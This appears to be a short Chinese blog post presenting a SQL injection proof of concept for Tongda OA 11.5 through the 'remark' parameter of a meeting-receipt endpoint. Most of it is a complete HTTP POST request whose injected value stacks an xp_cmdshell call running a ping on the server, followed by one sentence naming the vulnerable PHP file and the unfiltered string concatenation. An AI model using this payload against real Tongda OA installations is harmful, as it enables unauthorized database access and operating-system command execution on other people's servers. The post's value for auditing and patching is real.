通达OA————SQL注入3

Web安全
Word count: 191   |   Reading time≈ 1 min

SQL注入 POC

漏洞参数：remark

审计版本：通达OA 11.5

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POST /general/appbuilder/web/meeting/meetingmanagement/meetingreceipt HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.117 Safari/537.36
Referer: http://192.168.202.1/general/meeting/myapply/details.php?affair=true&id=5&nosign=true&reminding=true
X-Resource-Type: xhr
Cookie: PHPSESSID=g1njm64pl94eietps80muet5d7; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=fab32701
Connection: close
Host: 192.168.202.1
Pragma: no-cache
x-requested-with: XMLHttpRequest
Content-Length: 97
x-wvs-id: Acunetix-Deepscan/186
Cache-Control: no-cache
accept: */*
origin: http://192.168.202.1
Accept-Language: en-US
content-type: application/x-www-form-urlencoded; charset=UTF-8

m_id=5&join_flag=2&remark='%3b%20exec%20master%2e%2exp_cmdshell%20'ping%20172%2e10%2e1%2e255'--

漏洞文件：webroot\general\appbuilder\modules\meeting\models\MeetingReceipt.php。 漏洞存在于$remark=$data[‘remark’]; 与$form->REMARK = $remark; 可以看到remark参数没有过滤，直接拼接到insert语句中造成的注入。